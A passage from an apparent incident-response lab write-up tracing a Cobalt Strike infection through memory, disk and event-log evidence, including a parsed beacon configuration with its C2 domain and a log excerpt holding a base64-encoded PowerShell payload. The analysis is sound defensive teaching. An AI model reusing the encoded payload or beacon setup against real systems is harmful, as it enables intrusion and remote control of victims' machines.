0x800ae1f03a70 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 09:25:16.000000
0x800ae1f040b0 UDPv4 0.0.0.0 55432 * 0 2784 chrome.exe 2023-08-10 09:32:34.000000
0x800ae1f043d0 UDPv4 0.0.0.0 57346 * 0 2784 chrome.exe 2023-08-10 09:32:34.000000
0x800ae1f04d30 UDPv4 0.0.0.0 55121 * 0 2784 chrome.exe 2023-08-10 09:32:34.000000
0x800ae1f051e0 UDPv4 0.0.0.0 56220 * 0 2784 chrome.exe 2023-08-10 09:32:34.000000
0x800ae1f156d0 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 00:23:44.000000
0x800ae1f17480 UDPv4 0.0.0.0 500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1f17de0 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 00:23:44.000000
0x800ae1f19230 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 00:23:44.000000
0x800ae1f19230 UDPv6 :: 3702 * 0 1584 dasHost.exe 2023-08-10 00:23:44.000000
0x800ae1f193c0 UDPv4 0.0.0.0 64514 * 0 1584 dasHost.exe 2023-08-10 00:23:44.000000
0x800ae1f19a00 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 00:23:44.000000
0x800ae1f19a00 UDPv6 :: 3702 * 0 1584 dasHost.exe 2023-08-10 00:23:44.000000
0x800ae1f1acc0 UDPv4 0.0.0.0 64515 * 0 1584 dasHost.exe 2023-08-10 00:23:44.000000
0x800ae1f1acc0 UDPv6 :: 64515 * 0 1584 dasHost.exe 2023-08-10 00:23:44.000000
0x800ae1f3c4b0 UDPv4 0.0.0.0 4500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1f3ddb0 UDPv4 0.0.0.0 0 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1f401a0 UDPv4 0.0.0.0 0 * 0 440 svchost.exe 2023-08-10 00:24:59.000000
0x800ae1f401a0 UDPv6 :: 0 * 0 440 svchost.exe 2023-08-10 00:24:59.000000
0x800ae1f41910 UDPv4 0.0.0.0 0 * 0 8024 svchost.exe 2023-08-10 00:24:59.000000
0x800ae21ac1e0 TCPv4 192.168.152.134 52834 142.250.203.202 443 ESTABLISHED 2784 chrome.exe 2023-08-10 09:33:45.000000
0x800ae21ae320 TCPv4 192.168.152.134 49712 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae2202300 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2202300 UDPv6 :: 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2202490 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae2202940 UDPv4 0.0.0.0 5353 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae2202940 UDPv6 :: 5353 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae2202c60 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae2202c60 UDPv6 :: 5355 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae22032a0 UDPv4 0.0.0.0 5353 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae2203430 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae22038e0 UDPv4 0.0.0.0 63078 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae22038e0 UDPv6 :: 63078 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2203a70 UDPv4 192.168.152.134 137 * 0 4 System 2023-08-10 09:10:18.000000
0x800ae2203c00 UDPv4 0.0.0.0 0 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae2203c00 UDPv6 :: 0 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae2203d90 UDPv4 0.0.0.0 0 * 0 4492 chrome.exe 2023-08-10 09:23:50.000000
0x800ae2203d90 UDPv6 :: 0 * 0 4492 chrome.exe 2023-08-10 09:23:50.000000
0x800ae22040b0 UDPv4 0.0.0.0 0 * 0 4492 chrome.exe 2023-08-10 09:23:50.000000
0x800ae22043d0 UDPv4 192.168.152.134 138 * 0 4 System 2023-08-10 09:10:18.000000
0x800ae2204560 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2204560 UDPv6 :: 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2204880 UDPv4 0.0.0.0 63077 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2204a10 UDPv4 0.0.0.0 0 * 0 4492 chrome.exe 2023-08-10 09:23:50.000000
0x800ae2204a10 UDPv6 :: 0 * 0 4492 chrome.exe 2023-08-10 09:23:50.000000
0x800ae2205050 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae22051e0 UDPv4 0.0.0.0 0 * 0 4492 chrome.exe 2023-08-10 09:23:50.000000
0x800ae23cfa20 TCPv4 192.168.152.134 49720 20.42.65.90 443 CLOSED 2440 WWAHost.exe 2023-08-10 00:24:14.000000
0x800ae25dba20 TCPv4 192.168.152.134 49709 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae26a5050 TCPv4 192.168.152.134 52683 142.250.203.202 443 ESTABLISHED 2784 chrome.exe 2023-08-10 09:32:47.000000
0x800ae2d1eb60 TCPv4 192.168.152.134 49856 104.81.60.16 80 CLOSE_WAIT 6908 SkypeApp.exe 2023-08-10 09:10:32.000000
0x800ae41688d0 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:28:55.000000
0x800ae41693c0 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:28:55.000000
0x800ae41693c0 UDPv6 :: 0 * 0 - - 2023-08-10 00:28:55.000000
0x800ae416c5c0 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:28:55.000000
0x800ae416c5c0 UDPv6 :: 0 * 0 - - 2023-08-10 00:28:55.000000
0x800ae416d880 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:28:55.000000
0x800ae418f390 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 00:31:56.000000
0x800ae418f390 UDPv6 :: 5355 * 0 1272 svchost.exe 2023-08-10 00:31:56.000000
netscan gave extra connections that netstat missed:
- PowerShell PID 6744 →
44.214.212.249:80inCLOSEDstate - rundll32 PID 5468 →
44.214.212.249:80inCLOSEDstate - Additional UDP socket remnants for PID 3648 and PID 6744
netstat mainly showed PID 3648 actively connecting to that IP. netscan revealed that all three suspicious processes communicated with the same remote IP
Memory Findings and Initial Timeline
malfindflagged PIDs 3648, 6744, and 5468 with RWX memory.- PID 3648 executed
payload.dll,StartWand loadedE:\payload.dll. - YARA matched multiple Cobalt Strike indicators in PID 3648.
- PID 6744 ran hidden PowerShell with an encoded and compressed command.
- All three suspicious processes communicated with 44.214.212.249:80.
Initial Memory Timeline
| Time | Finding | Source plugin |
|---|---|---|
| 09:15:14 | rundll32.exe PID 3648 started under explorer.exe and loaded E:\payload.dll |
pslist, pstree, cmdline, dlllist |
| 09:21:16 | Hidden encoded PowerShell PID 6744 started | pslist, cmdline |
| 09:23:15 | rundll32.exe PID 5468 started |
pslist |
| 09:33:36 | PID 3648 connected to 44.214.212.249:80 |
netstat, netscan |
| 09:35:40 | PID 5468 had a closed connection to the same IP, and memory acquisition began | netscan, pslist |
| 09:35:41 | PID 3648 had an established connection and PID 6744 had a closed connection to the same IP | netstat, netscan |
Conclusion: The memory evidence indicates Cobalt Strike activity involving payload.dll, encoded PowerShell, and shared communication with 44.214.212.249.
I moved to disk evidence using the strongest confirmed pivot from memory: payload.dll and its delivery path.
E:\payload.dll
Disk and Triage Analysis
I began in Autopsy with a keyword search for the known payload and delivery indicators.
The file metadata established:
What it confirms:
- Downloaded from:
http://netsgohunt.site/documents/Finance08062023.iso - Created: 09:14:39 UTC
- Modified/changed: 09:14:41 UTC
- Accessed: 09:15:17 UTC
- Stored at:
C:\Users\johndoe\Downloads\Finance08062023.iso - SHA-256:
b504065ca1d4d59fc266d01d00ea1b54378c27f31344547830b885827a6dc43f
At this point, the timeline was:
09:14:39 ISO created in Downloads 09:14:41 ISO modified 09:15:14 rundll32 PID 3648 executed payload.dll 09:15:17 ISO accessed
The browser cache provided a second copy of the same artifact.
f_000003 is the Chrome cache copy.
- It has the same size and hashes as the ISO in
Downloads. - Both point to the same download URL.
- The ISO was then saved as:
C:\Users\johndoe\Downloads\Finance08062023.iso
The delivery chain was:
Chrome download
→ cached as f_000003
→ saved as Finance08062023.iso
→ ISO later led to payload.dll execution
Autopsy’s Web Downloads artifacts and the file’s Zone.Identifier corroborated that Finance08062023.iso came from letsgohunt[.]site.
I mounted the disk image read-only so I could extract and validate the payload directly.
Memory analysis strongly indicated a Cobalt Strike Beacon, so I extracted its configuration for direct confirmation.
Extracting the Cobalt Strike Beacon Configuration
PS C:\Users\johndoe\Desktop\volatility3-develop> cd C:\Users\johndoe\Desktop\CobaltStrikeParser-master\CobaltStrikeParser-master
PS C:\Users\johndoe\Desktop\CobaltStrikeParser-master\CobaltStrikeParser-master> python parse_beacon_config.py E:\payload.dll
BeaconType - HTTP
Port - 80
SleepTime - 60000
MaxGetSize - 1048576
Jitter - 0
MaxDNS - Not Found
PublicKey_MD5 - 1a5779a38fe8b146455e5bf476e39812
C2Server - letsgohunt.site,/load
UserAgent - Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)
HttpPostUri - /submit.php
Malleable_C2_Instructions - Empty
HttpGet_Metadata - Metadata
base64
header "Cookie"
HttpPost_Metadata - ConstHeaders
Content-Type: application/octet-stream
SessionId
parameter "id"
Output
print
PipeName - Not Found
DNS_Idle - Not Found
DNS_Sleep - Not Found
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
SSH_Banner -
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\rundll32.exe
Spawnto_x64 - %windir%\sysnative\rundll32.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark_Hash - Not Found
Watermark - 0
bStageCleanup - False
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - True
bProcInject_UseRWX - True
bProcInject_MinAllocSize - 0
ProcInject_PrependAppend_x86 - Empty
ProcInject_PrependAppend_x64 - Empty
ProcInject_Execute - CreateThread
SetThreadContext
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - VirtualAllocEx
bUsesCookies - True
HostHeader -
headersToRemove - Not Found
DNS_Beaconing - Not Found
DNS_get_TypeA - Not Found
DNS_get_TypeAAAA - Not Found
DNS_get_TypeTXT - Not Found
DNS_put_metadata - Not Found
DNS_put_output - Not Found
DNS_resolver - Not Found
DNS_strategy - round-robin
DNS_strategy_rotate_seconds - -1
DNS_strategy_fail_x - -1
DNS_strategy_fail_seconds - -1
Retry_Max_Attempts - Not Found
Retry_Increase_Attempts - Not Found
Retry_Duration - Not Found
PS C:\Users\johndoe\Desktop\CobaltStrikeParser-master\CobaltStrikeParser-master>
Configuration Findings
- Beacon type: HTTP
- C2:
letsgohunt.site/load - Port:
80 - Callback interval: every 60 seconds
- POST endpoint:
/submit.php - Metadata sent through: Base64 in the
Cookieheader - Uses IE proxy settings
- Injection allocation:
VirtualAllocEx - Injection execution:
CreateThread,SetThreadContext,CreateRemoteThread, orRtlCreateUserThread - RWX memory enabled, matching what
malfinddetected - Spawn targets:
rundll32.exe
Configuration Pivot
Finance08062023.iso
→ contained payload.dll
→ executed through rundll32.exe
→ Cobalt Strike Beacon
→ HTTP C2 communication with letsgohunt.site on port 80
This configuration strongly confirms that payload.dll was a Cobalt Strike HTTP Beacon configured for process injection and C2 communication.
With the payload identified, I checked the collected Autoruns data for persistence.
For persistence mechanisms, let’s inspect the C:\Users\johndoe\Desktop\files\johndoe_autoruns.arn file using the Autoruns tool.
- 09:25:51 -
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run- Entry:
LocalSystem - Executes:
C:\ProgramData\svchost.exe - Suspicious because it is unverified and uses a Windows-like name outside
C:\Windows.
- Entry:
- 09:28:13 - User Startup folder
- File:
photo443.exe - Path:
C:\Users\johndoe\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup - Runs automatically when
johndoelogs in.
- File:
This exposed two initial persistence candidates.
I calculated the hash from the KAPE output. The same validation could also be done from Autopsy.
PS C:\Users\johndoe\Desktop\CobaltStrikeParser-master\CobaltStrikeParser-master> Get-FileHash -Algorithm SHA256 "C:\Users\johndoe\Desktop\kapefiles\auto\C%3A\Users\johndoe\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\photo443.exe"
Algorithm Hash Path
--------- ---- ----
SHA256 E986DAA66F2E8E4C47E8EAA874FCD4DCAB8045F1F727DAF7AC15843101385194 C:\Users\johndoe\Desktop\kape...
PS C:\Users\johndoe\Desktop\CobaltStrikeParser-master\CobaltStrikeParser-master>
I then checked the hash in VirusTotal.
Autoruns also exposed scheduled-task persistence.
- Task:
\OneDriveTask - Executes:
C:\Users\johndoe\AppData\Local\svchost.exe - Publisher: Not verified
- Timestamp: 2023-08-10 09:22:32
This is suspicious because svchost.exe should normally run from C:\Windows\System32, not the user’s AppData\Local folder.
Timeline: it was created shortly after suspicious PowerShell started at 09:21:16, indicating the PowerShell activity may have created the scheduled-task persistence.
Persistence and Follow-On Activity
I used Autopsy to locate the suspicious file under C:\ProgramData.
The attacker then backdated the visible $STANDARD_INFORMATION File Modified timestamp to 2016, but the $FILE_NAME timestamps remained at the genuine 2023-08-10 09:25:48 time.
Takeaway: the recent $FILE_NAME timestamps expose that the file appeared during the attack, despite its visible modified time being made to look old.
Memory showed an open handle to the Desktop directory, so I returned to the disk artifacts to inspect its contents.
The handle output identified only the Desktop directory, not users.db specifically. The database is therefore a useful pivot, but the handle alone does not prove PID 3648 accessed it.
Relevant timestamps:
Created: 2023-08-08 08:18:17 UTC
Modified: 2023-08-08 08:19:06 UTC
Accessed: 2023-08-10 00:36:19 UTC
Changed: 2023-08-10 00:36:19 UTC
I checked SRUDB.dat next for application network activity.
SRUM supports that rundll32.exe was network-active during the relevant hour.
This is consistent with the memory connections observed around 09:33–09:35.
To fill the remaining gaps, I moved to Windows event-log detections.
I ran Chainsaw against the collected Windows event logs.
C:\Users\johndoe\Desktop\chainsaw>chainsaw_x86_64-pc-windows-msvc.exe hunt "..\kapefiles\auto\C%3A\Windows\System32\winevt\Logs" -s sigma/ --mapping mappings/sigma-event-logs-all.yml -r rules/ --csv --output output_csv
██████╗██╗ ██╗ █████╗ ██╗███╗ ██╗███████╗ █████╗ ██╗ ██╗
██╔════╝██║ ██║██╔══██╗██║████╗ ██║██╔════╝██╔══██╗██║ ██║
██║ ███████║███████║██║██╔██╗ ██║███████╗███████║██║ █╗ ██║
██║ ██╔══██║██╔══██║██║██║╚██╗██║╚════██║██╔══██║██║███╗██║
╚██████╗██║ ██║██║ ██║██║██║ ╚████║███████║██║ ██║╚███╔███╔╝
╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ ╚══╝╚══╝
By Countercept (@FranticTyping, @AlexKornitzer)
[+] Loading detection rules from: rules/, sigma/
[!] Loaded 2872 detection rules (329 not loaded)
[+] Loading forensic artefacts from: ..\kapefiles\auto\C%3A\Windows\System32\winevt\Logs (extensions: .evtx, .evt)
[+] Loaded 142 forensic artefacts (66.6 MB)
[+] Hunting: [========================================] 142/142 - [+] Created account_tampering.csv
[+] Created antivirus.csv
[+] Created sigma.csv
[+] 2212 Detections found on 1809 documents
I then reviewed the detections and pivoted into their source events.
PS C:\Users\johndoe\Desktop\chainsaw\output_csv> $events | Where-Object {
>> $t = [datetimeoffset]$_.timestamp
>> $t -ge [datetimeoffset]"2023-08-10T09:14:00Z" -and
>> $t -le [datetimeoffset]"2023-08-10T09:36:00Z"
>> } |
>> Group-Object detections |
>> Sort-Object Count -Descending |
>> Select-Object Count, Name |
>> Format-Table -AutoSize
Count Name
----- ----
423 Potential Defense Evasion Via Raw Disk Access By Uncommon Tools
46 Potential Defense Evasion Via Raw Disk Access By Uncommon Tools;Rename Common File to DLL File
37 ISO Image Mount
19 PUA - Advanced IP Scanner Execution;Potential Defense Evasion Via Raw Disk Access By Uncommon Tools
18 Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView PowerShell Commandlets
12 Suspicious In-Memory Module Execution
10 Net.exe Execution;Suspicious Group And Account Reconnaissance Activity Using Net.EXE
4 Creation of an Executable by an Executable
4 Execute Invoke-command on Remote Host;Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView Power...
4 UNC2452 Process Creation Patterns
4 CobaltStrike Named Pipe
3 Suspicious Reg Add Open Command
3 Weak or Abused Passwords In CLI
3 Godmode Sigma Rule;PowerShell Base64 Encoded FromBase64String Cmdlet;PowerShell Base64 Encoded IEX Cmdlet;Susp...
3 PowerShell Execution Via Named Pipe
3 Hurricane Panda Activity
3 Bad Opsec Defaults Sacrificial Processes With Improper Arguments;Rundll32 Execution Without DLL File;Suspiciou...
3 Malicious PowerView PowerShell Commandlets
2 Net.exe Execution;New User Created Via Net.EXE;Weak or Abused Passwords In CLI
2 CobaltStrike Named Pipe;Potential Defense Evasion Via Raw Disk Access By Uncommon Tools
2 Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView PowerShell Commandlets;Manipulation of User...
2 Amsi.DLL Loaded Via LOLBIN Process
2 Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView PowerShell Commandlets;Potential WinAPI Cal...
2 Rare Schtasks Creations
2 Net.exe Execution;Share And Session Enumeration Using Net.EXE
2 Creation of an Executable by an Executable;Potential Binary Or Script Dropper Via PowerShell;Startup Folder Fi...
2 Suspicious Execution of Systeminfo
2 Local Accounts Discovery;Whoami Utility Execution
2 Hurricane Panda Activity;Net.exe Execution
2 EventLog EVTX File Deleted
1 A Member Was Added to a Security-Enabled Global Group
1 Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView PowerShell Commandlets;Potential WinAPI Cal...
1 Change PowerShell Policies to an Insecure Level;Godmode Sigma Rule;HackTool - Empire PowerShell Launch Paramet...
1 Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView PowerShell Commandlets;Potential WinAPI Cal...
1 Extracting Information with PowerShell;Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView Powe...
1 Remote Service Creation
1 Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerShell Keywords;Malicious PowerView PowerShell Co...
1 Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView PowerShell Commandlets;Manipulation of User...
1 CurrentVersion Autorun Keys Modification
1 Creation of an Executable by an Executable;Files With System Process Name In Unsuspected Locations;Suspicious ...
1 Hurricane Panda Activity;Suspicious Elevated System Shell
1 Local User Creation
1 UNC2452 Process Creation Patterns;Weak or Abused Passwords In CLI
1 Execute Invoke-command on Remote Host;Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerShell Keyw...
1 Change PowerShell Policies to an Insecure Level;Godmode Sigma Rule;HackTool - Empire PowerShell Launch Parameters
1 Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView PowerShell Commandlets;Potential PowerShell...
1 Creation of an Executable by an Executable;Files With System Process Name In Unsuspected Locations
1 Mimikatz Detection LSASS Access;Suspicious In-Memory Module Execution
1 Scheduled Task Deletion
1 Shell Open Registry Keys Manipulation
1 Godmode Sigma Rule;PowerShell Base64 Encoded FromBase64String Cmdlet;PowerShell Base64 Encoded IEX Cmdlet;Susp...
1 Suspicious FromBase64String Usage On Gzip Archive - Ps Script
1 Bypass UAC via Fodhelper.exe;Godmode Sigma Rule;Malicious Base64 Encoded PowerShell Keywords in Command Lines;...
1 Godmode Sigma Rule;PowerShell Base64 Encoded FromBase64String Cmdlet;PowerShell Base64 Encoded IEX Cmdlet
1 Domain Trust Discovery;Nltest.EXE Execution;Potential Recon Activity Via Nltest.EXE
1 Windows Binaries Write Suspicious Extensions
1 CobaltStrike Load by Rundll32;LOLBIN From Abnormal Drive;Rundll32 With Suspicious Parent Process
1 Bypass UAC Using DelegateExecute;Shell Open Registry Keys Manipulation
1 Suspicious Reg Add Open Command;UNC2452 Process Creation Patterns
1 Domain Trust Discovery;Nltest.EXE Execution;Potential Recon Activity Via Nltest.EXE;Trickbot Malware Reconnais...
1 Malicious PowerShell Keywords;Potential Suspicious PowerShell Keywords;Potential WinAPI Calls Via PowerShell S...
1 Suspicious FromBase64String Usage On Gzip Archive - Ps Script;Suspicious Get-WmiObject
1 Change PowerShell Policies to an Insecure Level;Godmode Sigma Rule;HackTool - Empire PowerShell Launch Paramet...
1 Change PowerShell Policies to an Insecure Level;Godmode Sigma Rule;HackTool - Empire PowerShell Launch Paramet...
1 HackTool - Rubeus Execution - ScriptBlock;Malicious PowerShell Commandlets - ScriptBlock;Malicious PowerView P...
1 Malicious PowerView PowerShell Commandlets;Manipulation of User Computer or Group Security Principals Across AD
1 Malicious PowerShell Commandlets - ScriptBlock;Potential Suspicious PowerShell Keywords;Potential WinAPI Calls...
1 Bad Opsec Defaults Sacrificial Processes With Improper Arguments;Potentially Suspicious PowerShell Child Proce...
1 Creation of an Executable by an Executable;Files With System Process Name In Unsuspected Locations;Potential B...
1 Creation of an Executable by an Executable;Files With System Process Name In Unsuspected Locations;Potential B...
1 CobaltStrike Service Installations in Registry;Service Binary in Suspicious Folder
1 CobaltStrike Service Installations - Security;Remote Service Creation
1 Remote Thread Creation Via PowerShell In Rundll32
Commands ran
$events |
Where-Object { $_.detections -match 'ISO Image Mount' } |
Sort-Object timestamp |
Select-Object -First 10 timestamp, detections, "Event ID", "Event Data" |
Format-List
Finding:
09:15:07 explorer.exe accessed the mounted ISO at \Device\CdRom1\
09:15:07 explorer.exe accessed documents.lnk inside the ISO
09:15:09 smartscreen.exe inspected documents.lnk
Takeaway: The ISO was mounted and documents.lnk was opened through Explorer shortly before rundll32.exe executed payload.dll.
The next detection completed the execution chain.
PS C:\Users\johndoe\Desktop\chainsaw\output_csv> $events |
>> Where-Object { $_.detections -match 'CobaltStrike Load by Rundll32' } |
>> Select-Object timestamp, detections, "Event ID", "Event Data" |
>> Format-List
timestamp : 2023-08-10T09:15:14.099640+00:00
detections : CobaltStrike Load by Rundll32;LOLBIN From Abnormal Drive;Rundll32 With Suspicious Parent Process
Event ID : 1
Event Data : CommandLine: '"C:\Windows\System32\rundll32.exe" payload.dll,StartW'
Company: Microsoft Corporation
CurrentDirectory: E:\
Description: Windows host process (Rundll32)
FileVersion: 10.0.19041.746 (WinBuild.160101.0800)
Hashes: SHA1=DD399AE46303343F9F0DA189AEE11C67BD868222,MD5=EF3179D498793BF4234F708D3BE28633,SHA256=B53F3C0C
D32D7F20849850768DA6431E5F876B7BFA61DB0AA0700B02873393FA,IMPHASH=4DB27267734D1576D75C991DC70F68AC
Image: C:\Windows\System32\rundll32.exe
IntegrityLevel: Medium
LogonGuid: D875E288-2DE1-64D4-1801-020000000000
LogonId: '0x20118'
OriginalFileName: RUNDLL32.EXE
ParentCommandLine: explorer.exe
ParentImage: C:\Windows\explorer.exe
ParentProcessGuid: D875E288-2FC0-64D4-2F01-000000000300
ParentProcessId: 7148
ParentUser: DESKTOP-VQJOLVH\johndoe
ProcessGuid: D875E288-AAA2-64D4-7602-000000000300
ProcessId: 3648
Product: Microsoft® Windows® Operating System
RuleName: technique_id=T1204,technique_name=User Execution
TerminalSessionId: 1
User: DESKTOP-VQJOLVH\johndoe
UtcTime: 2023-08-10 09:15:14.097
The event evidence confirms the exact execution chain:
09:15:14.097 UTC
explorer.exe PID 7148
→ launched rundll32.exe PID 3648
→ from CurrentDirectory E:\
→ command: rundll32.exe payload.dll,StartW
→ user: johndoe
Source: Sysmon Event ID 1, detected by Chainsaw.
This links:
Mounted ISO → documents.lnk → explorer.exe → rundll32.exe → payload.dll,StartW
PS C:\Users\johndoe\Desktop\chainsaw\output_csv> $events |
>> Where-Object {
>> $_.detections -match 'Suspicious FromBase64String Usage On Gzip Archive'
>> } |
>> Sort-Object timestamp |
>> Select-Object timestamp, detections, "Event ID", "Event Data" |
>> Format-List
timestamp : 2023-08-10T09:21:19.052440+00:00
detections : Suspicious FromBase64String Usage On Gzip Archive - Ps Script
Event ID : 4104
Event Data : MessageNumber: 1
MessageTotal: 1
Path: ''
ScriptBlockId: 2b7cb78f-71f9-4da9-88ad-c11263da2e75
ScriptBlockText: $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAALVWaW/iShb9nPwKf
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
